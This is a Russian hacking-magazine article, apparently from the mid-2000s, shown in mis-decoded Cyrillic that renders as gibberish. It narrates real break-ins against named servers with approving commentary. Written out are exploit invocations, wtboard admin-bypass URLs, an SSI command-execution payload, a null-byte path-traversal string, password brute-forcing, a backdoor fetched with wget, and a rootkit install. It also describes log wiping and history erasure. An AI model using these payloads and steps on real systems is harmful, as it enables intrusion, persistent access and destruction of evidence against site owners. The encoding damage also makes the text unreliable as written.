çíàíèÿ íà ðåàëüíûõ ñåðâåðàõ, òî åãî íåëüçÿ íàçâàòü õàêåðîì. Ïîçâîëü ðàññêàçàòü òåáå, êàê õàêåðû ëîìàþò

ðàçëè÷íûå ðåñóðñû. Íî ïîìíè: ïîâòîðÿòü èõ äåéñòâèÿ îïàñíî - ñòàðøèé áðàò ñëåäèò çà òîáîé!

ÎÏÀÑÍÀß
ÏÐÀÊÒÈÊÀ
ÏÐÈÌÅÐÛ ÐÅÀËÜÍÛÕ ÂÇËÎÌÎÂ

ñå âçëîìû, ïðåäñòàâ-
ëåííûå â ìîåì íåáîëü-
øîì îáçîðå õàêåðñêèõ
ýòþäîâ, ðåàëüíû è ïðî-
èñõîäèëè â 2003-2004

ãîäàõ. Èìåíà çëîóìûøëåííèêîâ, ïî
ïîíÿòíûì ïðè÷èíàì, íå íàçûâàþ. Â
ýòîì ìàòåðèàëå ÿ ñòàðàëñÿ îõâàòèòü
âñå ìåòîäû àòàê. Èòàê, ïðèñòóïèì!

ÂÐÅÌß ÄËß ÈÃÐ, ÈËÈ ÂÇËÎÌ
WWW.NIKITA.RU

Ëþáîé èãðîìàí çíàåò Íèêèòó. Ýòî
íå ãåéìåðñêèé ïåðñîíàæ, à îáû÷íàÿ
èãðîâàÿ êîìïàíèÿ, ñîçäàþùàÿ èíòå-
ðåñíûå ïðîåêòû. ß, íàïðèìåð, ëþáèë
ïîãàìàòü â Parkan, õðîíèêà èìïåðèè.
Áûòü ìîæåò, òû çíàåøü ýòó ôèðìó ïî
äðóãèì èãðóøêàì. Ýòî íå ñòîëü âàæíî.
Âàæíî òî, ÷òî ãîä íàçàä ðåñóðñ áûë
âçëîìàí íåèçâåñòíûì õàêåðîì. Âïðî-
÷åì, âçëîì âûïîëíÿëñÿ ïî òðèâèàëü-
íîé ñõåìå, äàæå ñêðèïòêèäè ìîã çà-
íÿòü ìåñòî íàøåãî ãåðîÿ è ïîðóëèòü
ñåðâåðîì èçâåñòíîé êîìïàíèè. Âîò
êàê ýòî áûëî. Îò íå÷åãî äåëàòü õàêåð
ñêàíèðîâàë ïîäñåòü, ãäå îáû÷íî õîñ-
òèëèñü ñåðâåðà êðóïíûõ êîìïàíèé.
Õîñòåðîì ÿâëÿëñÿ «Ðîñòåëåêîì», ó êî-
òîðîãî êëèåíòû àðåíäîâàëè ìåñòî â
ñïåöèàëüíîì ñåðâåðíîì ïîìåùåíèè.
Õàêåð ïðåäïîëàãàë, ÷òî çàêàç÷èêè
ýêîíîìèëè íà ñèñàäìèíàõ, ïîýòîìó èõ
ñåðâåðà ìîãëè ñîäåðæàòü äûðêè â
ñâîèõ äåìîíàõ. Âñêîðå îí çàñåê ïðè-
ìå÷àòåëüíûé ñåðâåð www.nikita.ru, êî-
òîðûé ðàñïîëàãàëñÿ â ðîñòåëåêîìîâñ-
êîé ïîäñåòè. Âíèìàíèå õàêåðà ïðèâ-
ëåêëè îòñóòñòâèå ôàåðâîëà è ìíîãî-
÷èñëåííûå ñåðâèñû, êðóòÿùèåñÿ íà
ýòîé ìàøèíå. Ïîíÿòíî, ÷åì áîëüøå
ñåðâèñîâ, òåì âåðîÿòíîñòü íàëè÷èÿ
áàãà, ïðèâîäÿùåãî ê óäàëåííîìó
âçëîìó, âûøå. Àòàêà ïðîèñõîäèëà êàê
ðàç â òó ïîðó, êîãäà â ïóáëè÷íûõ èñ-
òî÷íèêàõ ïîÿâèëñÿ ýêñïëîèò 7350fun,
ïîçâîëÿþùèé ïîèìåòü www-ïðàâà ÷å-
ðåç äûðÿâûé mod_php. Êîíòåíò
www.nikita.ru ïåðåäàâàëñÿ áðàóçåðó
÷åðåç PHP-ñêðèïòû, ïîýòîìó ñòîèëî
ïðîâåðèòü âåðñèþ ìîäóëÿ - áûòü ìî-
æåò, õîçÿèí ìàøèíû äàæå íå çíàë î
áàãå. ×òîáû âûïîëíèòü ïîäîáíóþ
ïðîâåðêó, äîñòàòî÷íî ïðèòåëíåòèòüñÿ

íà 80 ïîðò è îòïðàâèòü ñòàíäàðòíûé
HTTP-çàïðîñ, íàïðèìåð, òàêîé:

HEAD / HTTP/1.0.

Õàêåð ïðîäåëàë ýòó íåñëîæíóþ ðà-
áîòó, çàòåì ïàðó ðàç íàæàë Enter è
ïðîàíàëèçèðîâàë ïîëå Server. Êàê
ðàç â íåì ãîâîðèëîñü, ÷òî âåðñèÿ
mod_php áûëà î÷åíü äðåâíåé - 4.0.6.
Âïðî÷åì, ñòàðûé ðåëèç åùå íå ñóëèë
îá óñïåøíîì âçëîìå. Íàïðèìåð, åñëè
ñåðâåð êðóòèòñÿ íà FreeBSD, mod_php
âîîáùå íåóÿçâèì. Íî ïîïûòêà íå ïûò-
êà, ïîýòîìó ñåòåâîé ïàðòèçàí íàòðà-
âèë ýêñïëîèò íà ñåðâåð. Ñòðîêà çàïóñ-
êà áûëà ñëåäóþùåé:

./7350fun www.nikita.ru /sms/privet.php

Áèíàðíèê òðåáîâàë ïîñëåäíèé ïà-
ðàìåòð â âèäå ïóòè ê ïîëíîöåííîìó
ñêðèïòó. Íåâàæíî êàêîìó. Ñöåíàðèé
ìîã îáðàáàòûâàòüñÿ è perl-èíòåðïðå-
òàòîðîì, ãëàâíîå, ÷òîáû ñêðèïò ïî-
íèìàë âõîäíûå îïöèè. Ïîñëå çàïóñ-
êà ýêñïëîèò íà÷àë ôîðìèðîâàòü
ñìåðòåëüíûé çàïðîñ, ïðèâîäÿùèé ê
ïåðåïîëíåíèþ áóôåðà, è îòïðàâ-
ëÿòü åãî íà ñåðâåð. Íàäî ñêàçàòü,
÷òî ýòî äîâîëüíî äëèòåëüíûé ïðî-
öåññ (âðåìÿ çàâèñèò îò øèðèíû êà-
íàëà ìåæäó õàêåðñêèì õîñòîì è óÿç-
âèìûì ñåðâåðîì). Ïîêà õàêåð îùó-
ïûâàë äðóãèå äåìîíû, ýêñïëîèò
áëåñòÿùå ñïðàâèëñÿ ñ çàäà÷åé, ïðå-

äîñòàâèâ çëîóìûøëåííèêó øåëë ñ
ïðàâàìè nobody.

Âîò íåçàäà÷à - õàêåð õîòåë ïðèâèëå-
ãèé ðóòà, à ïîëó÷èë êàêîãî-òî nobody.
Ïðàâà íóæíî áûëî êàê-òî ïîäíèìàòü.
Âûïîëíèâ êîìàíäó cat /etc/*release,
âçëîìùèê óçíàë, ÷òî íà ìàøèíå êðó-
òèòñÿ RedHat 7.3. Çàòåì ïîñëåäîâàëà
êîìàíäà uname -a, êîòîðàÿ ïîêàçàëà
âåðñèþ ÿäðà. Êåðíåë 2.4.24 (èìåííî
ýòî ÿäðûøêî íàõîäèëîñü â ñèñòåìå)
áûë óÿçâèì. Ïðèìåðíî ãîä íàçàä õàêå-
ðñêàÿ ãðóïïà isec âûïóñòèëà çíàìåíè-
òûé ýêñïëîèò äëÿ ÿäåðíîé ôóíêöèè
ptrace. Ñïëîéò ðàáîòàë êàê íàäî è äà-
æå íå òðåáîâàë íàëè÷èÿ ïñåâäîòåðìè-
íàëà (êàê ýòî äåëàëè åãî ïðåäøåñò-
âåííèêè). Íî õàêåðà ïîäæèäàë íåîæè-
äàííûé îáëîì. Íà ñåðâåðå íå áûëî
ïðîãðàììû wget, êîòîðàÿ áû ïîçâîëè-
ëà íàøåìó ãåðîþ ñëèòü ýêñïëîèò íà
âçëîìàííûé øåëë. Âïðî÷åì, âçëîì-
ùèê áûñòðî ðåøèë ýòó ïðîáëåìó: çà-
ëèë ôàéë ïðÿìî ÷åðåç êîíñîëü ñ ïî-
ìîùüþ íåõèòðîé êîìàíäû cat > isec.c
<< EOF. Ïîñëå îòïðàâêè òåêñòà ñ ïî-
ìîùüþ ñî÷åòàíèé ctrl+c, ctrl+v õàêåð
íàáðàë ìàãè÷åñêîå ñëîâî EOF è ïîëó-
÷èë ïðèãëàøåíèå bash. Îñòàâàëîñü
òîëüêî ñêîìïèëèðîâàòü è çàïóñòèòü
ýêñïëîèò. Ê ñ÷àñòüþ íàøåãî ãåðîÿ, íà
êåðíåë íå áûëî íàëîæåíî ïàò÷åé, ïî-
ýòîìó ñåòåâîé ïàðòèçàí áåç ïðîáëåì
ïîëó÷èë ðóòîâûå ïðàâà.

Ïîñëå âçëîìà õàêåð äîëæåí ïîçà-
áîòèòüñÿ î ñîáñòâåííîé áåçîïàñíîñ-
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Âî âðåìÿ
ýïèäåìèè
ñëîìàòü
ñåðâåð ñ ïî-
ìîùüþ
ýêñïëîèòà
äëÿ
mod_php
áûëî ëåãêî.
ßðêèé òîìó
ïðèìåð -
óäàëåííàÿ
àòàêà
www.nikita.ru.

Âñå âçëîìû
ðåàëüíû, íî
íå çàáûâàé,
÷òî èíôîð-
ìàöèÿ äàíà
òîëüêî äëÿ
îçíàêîìëå-
íèÿ.

Óÿçâèìûé PHP-ñêðèïò

ÎÏÀÑÍÀß ÏÐÀÊÒÈÊÀ58 ÂÇËÎÌ



òè è âû÷èñòèòü âñå ëîãè. Â áèíàð-
íûõ æóðíàëàõ íàø ãåðîé íå íàñëå-
äèë, ïîýòîìó åìó íóæíî áûëî ïîäòå-
ðåòü /var/log/messages è åùå ïà-
ðî÷êó òåêñòîâûõ ëîãîâ, à òàêæå íå
çàáûòü î WWW-æóðíàëå access_log
(òóäà çäîðîâî íàñëåäèë ýêñïëîèò îò
TESO). Íî ïðåæäå ÷åì ìàíèïóëèðî-
âàòü ëîãàìè, âçëîìùèê ïîñòàâèë íà
ñåðâåð ðóòêèò. Â òî âðåìÿ â óçêèõ
õàêåðñêèõ êðóãàõ þçàëñÿ êîìïëåêò
shv4. Îí äî ñèõ ïîð ïðèâàòíûé, ïîý-
òîìó ññûëêó ÿ íå äàì :). ×òîáû óñòà-
íîâèòü êèò, äîñòàòî÷íî âûïîëíèòü
êîìàíäó «./setup ïàðîëü ïîðò», è íà
óêàçàííîì ïîðòó îòêðîåòñÿ ïîä-
äåëüíûé äåìîí sshd. Êàê òû äîãà-
äàëñÿ, ïàðîëü äëÿ ñîåäèíåíèÿ
âçëîìùèê ïåðåäàë ñêðèïòó setup.
Íàïîñëåäîê ñåòåâîé ïàðòèçàí íàïè-

ñàë unset HISTFILE, ÷òîáû ñòåðåòü
ëîã êîìàíä, è ïîêèíóë êîíñîëü.

Ïðèöåïèâøèñü íà ôåéêîâûé äåìîí,
õàêåð ñòåð êîìïðîìåòèðóþùèå æóð-
íàëû, à òàêæå âû÷èñòèë
/var/log/www/access_log îò ñòðàííûõ
îáðàùåíèé ê ñöåíàðèþ index.php. Òå-
ïåðü îí ïîëíîñòüþ ïîðàáîòèë ñåðâåð
Íèêèòû è ìîã äåëàòü ñ íèì âñå ÷òî
óãîäíî :). Íàäî ñêàçàòü, ÷òî õàêåð
î÷åíü äîëãî ðàçâëåêàëñÿ ñ ýòèì ñåð-
âàêîì - äîñòóï ïðèêðûëè òîëüêî ïîñ-
ëå ïîëíîé ïåðåóñòàíîâêè ñèñòåìû.

ÐÓÑÑÊÈÉ ÏÐÎÂÀÉÄÅÐ -
ÁÀÆÍÛÉ ÏÐÎÂÀÉÄÅÐ

Íè îäèí ïðîâàéäåð íå çàñòðàõî-
âàí îò óÿçâèìîñòåé, è ðîññèéñêèé â
òîì ÷èñëå. Íåñìîòðÿ íà ñâåæèå âåð-
ñèè ñåðâèñîâ íåêîåìó âçëîìùèêó

óäàëîñü ïîðóëèòü ñåðâåðîì êðóïíîãî
ìîñêîâñêîãî ïðîâàéäåðà. Óäàëåííàÿ
àòàêà áûëà íàöåëåíà íà áàæíûé
WWW-ïðîåêò, â ðåçóëüòàòå ÷åãî çëîó-
ìûøëåííèê ïîëó÷èë íåáîëüøèå ïðà-
âà íà ìàøèíå. Âñå íà÷àëîñü ñ òîãî,
÷òî íàøåãî ãåðîÿ çàèíòåðåñîâàë ïðî-
åêò wtboard. Ýòîò ôîðóì âûïóñêàåòñÿ
áîëåå ïÿòè ëåò è çàñëóæèë äîâåðèå
ìíîãèõ. Õàêåð ïîñòàâèë ñâåæóþ âåð-
ñèþ áîðäû ó ñåáÿ íà ìàøèíå è íà÷àë
íàä íåé èçäåâàòüñÿ - èñêàòü êàêèå-íè-
áóäü áàãè, òåñòèðîâàòü íà ðàçëè÷íûå
WWW-àòàêè è ò.ï. Ñïåðâà ó çëîóìûø-
ëåííèêà íè÷åãî íå ïîëó÷àëîñü, íî
âñêîðå åìó óëûáíóëàñü óäà÷à. Íàø
ãåðîé íàøåë áàæíóþ ïðîöåäóðó, êîòî-
ðàÿ ïîçâîëÿëà èíòåðïðåòèðîâàòü çíà-
÷åíèÿ ñèñòåìíûõ ïåðåìåííûõ. Ñêà-
æåì, çàõî÷åòñÿ õàêåðó âñòàâèòü â CGI-
ïîòîê ïåðåìåííóþ data (îíà ÿâëÿåòñÿ
ñèñòåìíîé), è ðåçóëüòàò áóäåò ðîêî-
âûì - èçìåíèòñÿ çíà÷åíèå $data, ÷òî
ïðèâåäåò ê îøèáêå ïðè îòêðûòèè êîí-
ôèãà. Ýòî â ëó÷øåì ñëó÷àå :). Â õóä-
øåì õàêåð ïðîñòî âîéäåò â admin-çî-
íó ôîðóìà áåç çíàíèÿ ïàðîëÿ. ß óêà-
æó äâà íåáîëüøèõ çàïðîñà, âûïîëíèâ
êîòîðûå õàêåð îêàçàëñÿ â àäìèíêå
ôîðóìà.

http://www.host.com/cgi-
bin/wtb/data?fid=root;;root;;a;;&oper=admin-
interface&login=root&pass=root&data=/tmp
http://www.host.com/cgi-

bin/wtb/data?fid=root;;root;;a;;&oper=admin-
interface&login=BDADM
FID=root&pass=root&wtbad-
min=../../../../../../../../../../../../tmp/wtwrong.txt.

Íàëèöî îáû÷íàÿ ïîäìåíà, â ðå-
çóëüòàòå êîòîðîé áóäåò ñîçäàí
æóðíàë /tmp/wtwrong.txt. Îáðàùå-
íèå ê íåìó ïîâëå÷åò çà ñîáîé ñ÷è-
òûâàíèå èíôîðìàöèè èç ëîãà è äîñ-
òóïó ê àäìèíêå.
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Brutus óìå-
åò ïðîèçâî-
äèòü áðóò-
ôîðñ êàê ïî
FTP-, òàê è
ïî HTTP-
ïðîòîêîëó
(ïåðåáîð çíà-
÷åíèé ðàç-
ëè÷íûõ
ôîðì). Êðîìå
ýòîãî, ïåðå-
áîðùèê ïîç-
âîëÿåò ïîäê-
ëþ÷àòü
âíåøíèå ïëà-
ãèíû, êîòî-
ðûå òû ìî-
æåøü íàïè-
ñàòü ñàì :).

John The
Ripper óìå-
åò îñóùåñò-
âëÿòü ïåðå-
áîð íà îäíè
öèôðû. Äëÿ
ýòîãî èñ-
ïîëüçóé ïà-
ðàìåòð -
i:digits.

Ïîâåðæåííûé ñåðâåð

Ìàãè÷åñêàÿ çàëèâêà ÷åðåç STDIN

Óñòàíîâêà ïðèâàòíîãî ðóòêèòà

Àäìèíêà âî âñåé êðàñå

Êàê âèäèøü, åñëè äîëãî ìó÷èòüñÿ, ÷òî-íèáóäü ïîëó÷èòñÿ. Íî ÷òî-
áû äîáèòüñÿ ýòîãî «÷òî-òî», õàêåð äîëæåí îáëàäàòü íåêîòîðûìè
êà÷åñòâàìè:
1. Âíèìàòåëüíîñòü. Âçëîìùèê íèêîãäà íå óïóñòèò äåòàëåé, äàæå
ìåëêèõ. Èç ìåëî÷åé ìîæåò ñëîæèòüñÿ äîâîëüíî íåïëîõîé ðåçóëü-
òàò. Ýòî âèäíî â ñëó÷àå, êîãäà õàêåð ãðàìîòíî ïðîïàðñèë .bash_his-
tory è îáíàðóæèë òàì ðóòîâûé ïàðîëü.
2. Íåâèäèìîñòü. Õàêåð äîëæåí çàáîòèòüñÿ î ñîáñòâåííîé áåçîïàñ-
íîñòè, ïîýòîìó â åãî «ðåêâèçèòàõ» îáÿçàòåëüíî ïðèñóòñòâóþò òà-
êèå ñîôòèíû, êàê SocksCap è SocksChain. Ïîìèìî ýòîãî, ãðàìîòíûé
âçëîìùèê íèêîãäà íå çàáûâàåò ÷èñòèòü çà ñîáîé ëîãè.
3. Óïåðòîñòü. Íóæíî íèêîãäà íå òåðÿòü íàäåæäó è íàñèëîâàòü ñåð-
âåð ïî ïîëíîé ïðîãðàììå. Êàê ãîâîðèòñÿ, íàñòîÿùèé õàêåð íàáèðà-
åò ïàðîëü äî òåõ ïîð, ïîêà ñåðâåð íå îòâåòèò, ÷òî îí ïðàâèëüíûé :).



Óäîñòîâåðèâøèñü, ÷òî áàã ðàáîòà-
åò, õàêåð ïîëåç íà google.com è îòï-
ðàâèë çàïðîñ wtboard. Â îòâåò íà ïî-
èñêîâîé ðåêâåñò âçëîìùèê ïîëó÷èë
ìíîæåñòâî ññûëîê. Îäíà èç íèõ âåëà
íà ñòðàíèöó ïðîâàéäåðà èç Ìîñêâû.
Ýòî î÷åíü çàèíòåðåñîâàëî íàøåãî
ãåðîÿ, è âîò îí ïðîíèê íà ñòðàíèöó
àäìèíèñòðèðîâàíèÿ. Îáðàòèâøèñü ê
ðàçäåëó òåìïëåéò-êîäà, çëîóìûø-
ëåííèê âáèë SSI-çàïðîñ, âûïîëíÿþ-
ùèé ñèñòåìíóþ êîìàíäó.

<!--exec cmd=�uname -a�-->.

Íî âçëîìùèêà íå èíòåðåñîâàë ôàéë
ñ àêêàóíòàìè. Îí çàêà÷àë wget�îì
ïðîñòîé perl-áýêäîð è çàïóñòèë. Â ðå-
çóëüòàòå íà ïîðòó 37900 îòêðûëñÿ
øåëë, ñòàðòóþùèé /bin/sh â èíòåðàê-
òèâíîì ðåæèìå. Òàê ñåòåâîé ïàðòèçàí
ïîëó÷èë WWW-ïðàâà. Ê ñîæàëåíèþ,
äîáèòüñÿ ðóòîâûõ ïðèâèëåãèé îêàçà-
ëîñü íåïðîñòî � ÿäðî áûëî ïðîïàò÷å-
íî ôèêñîì îò grsecurity, à ñèñòåìà
ïðàêòè÷åñêè íå ñîäåðæàëà óÿçâèìûõ
ñåðâèñîâ (îíî è ïîíÿòíî: äèñòðèáóòèâ
íîñèë ãîðäîå èìÿ SlackWare :)).

Çà àáñîëþòíûå ïðàâà õàêåð ãîòîâ
áûë ïîéòè íà ëþáûå èçâðàùåíèÿ. Îí
ðåøèë ïîïðîáîâàòü îäèí èç ìåòîäîâ
ëîêàëüíîé àòàêè, êîòîðûé çàêëþ÷àåò-
ñÿ â ïîèñêå âàæíûõ äàííûõ â ñèñòåì-
íûõ ëîãàõ. Ñïåðâà âçëîìùèê ïðîïàð-
ñèë /var/log/messages, îäíàêî íè÷åãî
èíòåðåñíîãî îí íå îáíàðóæèë. Íå äó-
ìàé, ÷òî íàø ãåðîé íàäåÿëñÿ óâèäåòü
òàì ïàðîëè â ÷èñòîì âèäå. Îí ïðîëèñ-
òàë messages, ÷òîáû íàéòè èíôîðìà-
öèþ î êàêèõ-íèáóäü èíòåðåñíûõ äå-
ìîíàõ. Ïîñëåäíèå ëþáÿò ïèñàòü àêêà-
óíòû â ñâîè æóðíàëû. Ê ñîæàëåíèþ,
ïîèñê íå óâåí÷àëñÿ óñïåõîì, ïîýòîìó
âçëîìùèê ïåðåøåë â êàòàëîã
/usr/www/logs è îòêðûë ðåäàêòîðîì
äîêóìåíò access_log. Äåëî â òîì, ÷òî
íà ïðîâàéäåðñêîì ñåðâåðå êðóòèëñÿ
áèëëèíã, ïîçâîëÿþùèé ïðîñìîòðåòü
ñîñòîÿíèå ñ÷åòà. Âñå áû íè÷åãî, äà
âîò òîëüêî ñîåäèíåíèå èíèöèèðîâà-
ëîñü ïî íåáåçîïàñíîìó ïðîòîêîëó, à
â êà÷åñòâå ìåòîäà ïåðåäà÷è èñïîëü-
çîâàëñÿ GET. Âñå óñëîâèÿ äëÿ îòëîâà
ïàðîëåé. Êñòàòè, îáû÷íûå ïîëüçîâà-
òåëè â áèëëèíã íå ïóñêàëèñü - ñêðèïò

àíàëèçèðîâàë IP-àäðåñ, à ëèøü çàòåì
ïðèíèìàë ðåøåíèå î äîïóñêå, íî äà-
æå ýòî íå ìåøàëî ïàðîëÿì õðàíèòüñÿ
â òåêñòîâîì æóðíàëå. Òàê õàêåð îáíà-
ðóæèë ïàðîëü îò ëîãèíà alpha. Ýòîò
þçåð ÿâëÿëñÿ ñèñòåìíûì è èìåë ðà-
áî÷èé øåëë. Õàêåð ïðåäïî÷èòàë øïè-
îíèòü â êîíñîëè ïîä ïîëíîöåííûì
àêêàóíòîì, à íå ïîä web-ïðàâàìè, ïî-
ýòîìó áûñòðî çàëîãèíèëñÿ ïîä alpha.
Òåïåðü îí ìîã ïîëíîöåííî ïåðåäâè-
ãàòüñÿ ïî äîìàøíåé äèðåêòîðèè þçå-
ðà. Â êàòàëîãå íå áûëî èíòåðåñíûõ
ôàéëîâ, êðîìå ëîãà .bash_history.
Âçëîìùèê âñåãäà ïðîâåðÿë åãî ñî-
äåðæèìîå, íàäåÿñü íàáðåñòè íà èíòå-
ðåñíûå êîìàíäû. Îí ïîñïåøíî îòê-
ðûë æóðíàë ðåäàêòîðîì îáîëî÷êè mc
è ñòàë èññëåäîâàòü ëîã. Â æóðíàëå
äåéñòâèòåëüíî áûëî ìíîãî èíòåðåñ-
íîé èíôîðìàöèè. Õàêåð áûñòðî ïî-
íÿë, ÷òî alpha ñëåäèò çà WWW-ðåñóð-
ñàìè, òàê êàê âñÿ åãî ðàáîòà ïðîâîäè-
ëàñü â êàòàëîãå /usr/www. Ïîìèìî
ýòîãî, ðàáîòíèê çíàë ïàðîëü îò ñó-
ïåðïîëüçîâàòåëÿ, ïîñåìó àêòèâíî
þçàë êîìàíäó su. À çðÿ. Èíîãäà alpha
îøèáàëñÿ â êîìàíäå, à çàòåì «ñîðèë»
ïàðîëåì â êîíñîëü. Òåïåðü âçëîìùè-
êó íè÷åãî íå ìåøàëî ïîèìåòü çàêîí-
íûå ðóòîâûå ïðàâà. Âåäü îí ïîäñìîò-
ðåë ïàðîëü, à òàêæå èìåë íóëåâîé
gid. Ïîñëåäíèé ïîçâîëÿë ïåðåêëþ-
÷èòü ïðàâà ñ ïîìîùüþ /bin/su.

Îäíèì çàðóòàííûì ïðîâàéäåðîì
ñòàëî áîëüøå :). Âñå èç-çà òîãî, ÷òî
àäìèí âîâðåìÿ íå íàñòðîèë ôàåðâîë.
Ôàåðâîë îòïóãèâàåò õàêåðà: åñëè áû
alpha ñëåäèë åùå è çà íèì, òî âçëîì-
ùèê âðÿä ëè ñìîã ïîðóòàòü WWW-ñåð-
âåð. Õîòÿ êòî çíàåò, âåäü ñóùåñòâóåò
ìíîãî ñïîñîáîâ îáõîäà äàæå ñàìûõ
íàâîðî÷åííûõ ôàåðâîëîâ...

ÂÒÎÐÆÅÍÈÅ Ê ÁÓÐÆÓÉÑÊÈÌ
ÑÒÓÄÅÍÒÀÌ

Áûâàåò, ÷òî õàêåð íàõîäèò áàã, êî-
òîðûé íå ïîçâîëÿåò ïîäíÿòü ïðèâèëå-
ãèè áåç èñïîëüçîâàíèÿ êàêîãî-íèáóäü
çàêîâûðèñòîãî ìåòîäà. Òàê ñëó÷èëîñü
ïðè âçëîìå ñåðâåðà îäíîãî èíîçåìíî-
ãî óíèâåðñèòåòà trinity.edu. Õàêåð äàæå
íå çíàë, â êàêîé òî÷êå ïëàíåòû ýòîò
óíèâåðñèòåò, îí ëîìàë ñåðâåð ïî çàêà-
çó. Íàäî ñêàçàòü, âçëîì íå îáîøåëñÿ
áåç èñïîëüçîâàíèÿ ñàìîãî õàðäêîðíî-
ãî ìåòîäà. Ñïåðâà õàêåð íà÷àë ñêàíè-
ðîâàòü Web. Òàê âûøëî, ÷òî íà ðîóòå-
ðå ñòîÿë ôàåðâîë, ôèëüòðóþùèé âñå
ïîðòû, êðîìå 21, 22 è 80. Áàííåð FTPD

ïîêàçàë, ÷òî íà ñåðâåðå êðóòèòñÿ
SunOS 5.9, êîòîðàÿ ïî òåì âðåìåíàì
áûëà ñàìîé íàäåæíîé èç Ñîëÿðîê. Ñî-
îòâåòñòâåííî, ïåðâûé ìåòîä (èñïîëü-
çîâàíèå ýêñïëîèòà) îòïàäàë ñðàçó.
Èòàê, õàêåð íà÷àë ñ WWW. Áåãëî ïðîñ-
ìîòðåâ ñêðèïòû, ñîñòðÿïàííûå ñòóäåí-
òàìè, âçëîìùèê íàòêíóëñÿ íà çàíÿò-
íûé ñöåíàðèé ñ íàçâàíèåì view.cgi, êî-
òîðîìó ïåðåäàâàëñÿ âñåãî îäèí ïàðà-
ìåòð - íàçâàíèå ôàéëà. Ïî-âèäèìîìó,
ñêðèïò ñîçäàâàëñÿ, ÷òîáû ïîêàçûâàòü
ñèøíûå ïðîåêòû (êîãäà âçëîìùèê
òêíóë ïî ññûëêå, ïåðåä íèì ïîÿâèëñÿ
èñõîäíèê ôàéëà project). Îñîáî íå íà-
äåÿñü íà óñïåõ, íàø ãåðîé èçìåíèë
çíà÷åíèå ïàðàìåòðà íà /etc/passwd,
íî ýòî ïðèâåëî ê ôàòàëüíîé îøèáêå.
Èíòåðïðåòàòîð ðóãàëñÿ íà òî, ÷òî íå
ìîæåò íàéòè ôàéë /www/students/cgi/
projects/etc/passwd.cpp. Ïîòèðàÿ ðóêè,
ñåòåâîé ïàðòèçàí åùå ðàç ïîìåíÿë
çíà÷åíèå îïöèè íà «../../../../../etc/pass-
wd%00», è ñåðâåð áåç ïðîáëåì ïîêà-
çàë ôàéë ñ àêêàóíòàìè. Ïî÷åìó òàê
ïðîèçîøëî? Âñå ïðîñòî: èç-çà íóëåâî-
ãî áàéòà ðàñøèðåíèå «.cpp» íå áûëî
ïðèïëþñîâàíî ê îòêðûâàåìîìó äîêó-
ìåíòó - ôóíêöèè open() ïåðåäàâàëñÿ
ôàéë /etc/passwd%00.cpp, ÷òî ôàêòè-
÷åñêè îòêðûâàëî ñèñòåìíûé passwd.

Âçëîìùèê óâèäåë, ÷òî â ñèñòåìå
ïðîïèñàíû ïîðÿäêà ñîòíè ó÷åòíûõ çà-
ïèñåé. Â òàêîì ñëó÷àå öåëåñîîáðàçíî
ïðèìåíèòü ïåðåáîð íà ïàðó
«login:login», âåäü îñîáî îäàðåííûå
ñòóäåíòû ëþáÿò óñòàíàâëèâàòü ïà-
ðîëü, ðàâíûé ëîãèíó (ëèáî íå çàäà-
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Äûðÿâûå
ñêðèïòû â
íàøå âðåìÿ
íå ðåä-
êîñòü. Êàê
ïðàâèëî,
õàêåðû íà-
õîäÿò èõ ïî
íåñòàíäàðò-
íûì ïîèñ-
êîâûì çàï-
ðîñàì.

Ðóòêèò
shv4 òû ìî-
æåøü íàéòè
è â ïóáëè÷-
íûõ èñòî÷-
íèêàõ.
Ïðàâäà, ýòî
íå òàê-òî
ïðîñòî ñäå-
ëàòü :).

ÎÏÀÑÍÀß ÏÐÀÊÒÈÊÀ60 ÂÇËÎÌ

Íåïðàâèëüíûé ëîã äëÿ ïðàâèëüíîé àòàêè

Âñå àêêàóíòû êàê íà ëàäîíè!

Ïàðîëü äëÿ root çàíåñåí â èñòîðèþ

SSI over Web



âàòü åãî âîîáùå). Õàêåð ñêîðìèë èìå-
íà ñòóäåíòîâ ñïåöèàëüíîìó ñêðèïòó è
ïåðåäàë ñïèñîê ïàð ïåðåáîðùèêó
Brutus. Â êà÷åñòâå ñåðâèñà áûë âûá-
ðàí FTP, èáî äðóãèå ïîðòû ôèëüòðî-
âàëèñü ñåòåâûì ýêðàíîì. Ñïóñòÿ ïàðó
ìèíóò, Brutus ñîîáùèë, ÷òî íåñêîëüêî
ñòóäåíòîâ äåéñòâèòåëüíî âûáðàëè ïà-
ðîëü, ðàâíûé ëîãèíó. Íå ìåäëÿ íàø
ãåðîé ïðèöåïèëñÿ ê øåëëó ïî SSH è
áûë ãîòîâ ê ïîâûøåíèþ ñâîèõ ïðàâ.

Ïîèñê èíôîðìàöèè â ëîãàõ íè ê ÷åìó
ïóòíîìó íå ïðèâåë. Äîñòóï ê èñòîðèÿì
êîìàíä àäìèíîâ áûë çàêðûò îò ïîñòî-
ðîííèõ ãëàç, ëîãè ñòóäåíòîâ-ëàìåðîâ
íå ñîäåðæàëè íè÷åãî èíòåðåñíîãî. Íà-
êîíåö, âçëîìùèê âñïîìíèë, ÷òî ïà-
ðîëü ìîæåò ñîäåðæàòüñÿ â .htpasswd.
Êîìàíäà locate .htpasswd ïîêàçàëà òðè
ïîäîáíûõ êîíôèãà. Äâà èç íèõ èìåëè
àòðèáóò 400, à ïîñëåäíèé íå ñîäåðæàë
ïîëåçíûõ õýøåé (â äîêóìåíòå õðàíè-
ëàñü ñòðîêà guest:ïàðîëü, íî þçåð
guest âîîáùå íå ïðèñóòñòâîâàë â
/etc/passwd). Âòîðîé ïîèñêîâûé çàï-
ðîñ áûë íàïðàâëåí íà íàõîæäåíèå
êîíôèãîâ .htaccess. Èõ áûëî áîëüøå,
è ïî÷òè âñå õàêåð ìîã ïîñìîòðåòü. Â
îäíîì èç òàêèõ ôàéëîâ íàø ãåðîé íà-
øåë ññûëêó íà áàçó ñ ïàðîëÿìè, êîòî-
ðûé íàçûâàëñÿ .secure. Â íåì îí îáíà-
ðóæèë âñå þçåðñêèå õýøè. Ýòàêèé äóá-
ëèêàò /etc/shadow. Îñòàâàëîñü âçÿòü
èç íåãî ðóòîâûé ïàðîëü è ðàñøèôðî-
âàòü åãî ïðîãîé John The Ripper. Äæî-
íèê çàïóñêàëñÿ íà ìîùíîé 4-ïðîöåñ-
ñîðíîé òà÷êå, êîòîðóþ õàêåð êóïèë çà
$100 ÿêîáû äëÿ ìàòåìàòè÷åñêèõ âû-
÷èñëåíèé :). Áðóòôîðñåð çàïóñêàëñÿ â
òðåõ ðåæèìàõ - single, wordlist è all.
Ñòàðòîâûé ñêðèïò, êîòîðûé îáðàùàëñÿ
ê John, ñîäåðæàë âñåãî òðè ñòðîêè.

